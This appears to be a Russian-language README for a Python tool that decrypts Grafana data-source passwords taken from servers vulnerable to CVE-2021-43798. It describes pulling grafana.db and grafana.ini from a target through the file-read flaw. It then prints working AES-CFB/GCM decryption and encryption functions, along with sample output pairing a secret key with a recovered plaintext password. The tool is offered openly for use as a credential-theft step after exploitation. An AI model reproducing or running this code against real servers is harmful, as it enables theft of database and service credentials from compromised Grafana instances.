
Grafana Decryptor for CVE-2021-43798
Этот скрипт расшифровывает пароли источников данных из экземпляра Grafana, уязвимого к CVE-2021-43798, который позволяет неавторизованное чтение произвольных файлов.
Версии Grafana с 8.0.0-beta1 по 8.3.0 уязвимы к обходу каталогов, что позволяет неавторизованным пользователям читать произвольные файлы на сервере. Этот скрипт использует эту уязвимость для расшифровки паролей источников данных, найденных в файле grafana.db, с использованием secret_key из файла конфигурации grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db и grafana.ini из целевого экземпляра Grafana.python decrypt.py
Вы также можете закодировать открытый пароль с помощью скрипта, раскомментировав пример кода в скрипте.
Скрипт определяет используемый алгоритм шифрования путем анализа полезной нагрузки. Алгоритм шифрования по умолчанию — aes-cfb.
Используя полученный алгоритм шифрования и secret_key из grafana.ini, скрипт расшифровывает пароль источника данных.
Скрипт также включает функциональность для шифрования открытого пароля с использованием того же метода шифрования и secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Введите пароль источника данных: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Эти функции обрабатывают процессы расшифровки и шифрования.
Не стесняйтесь открывать issues или pull requests, если вы нашли ошибки или у вас есть предложения по улучшению.
Этот проект лицензирован под лицензией MIT. Подробности см. в файле LICENSE.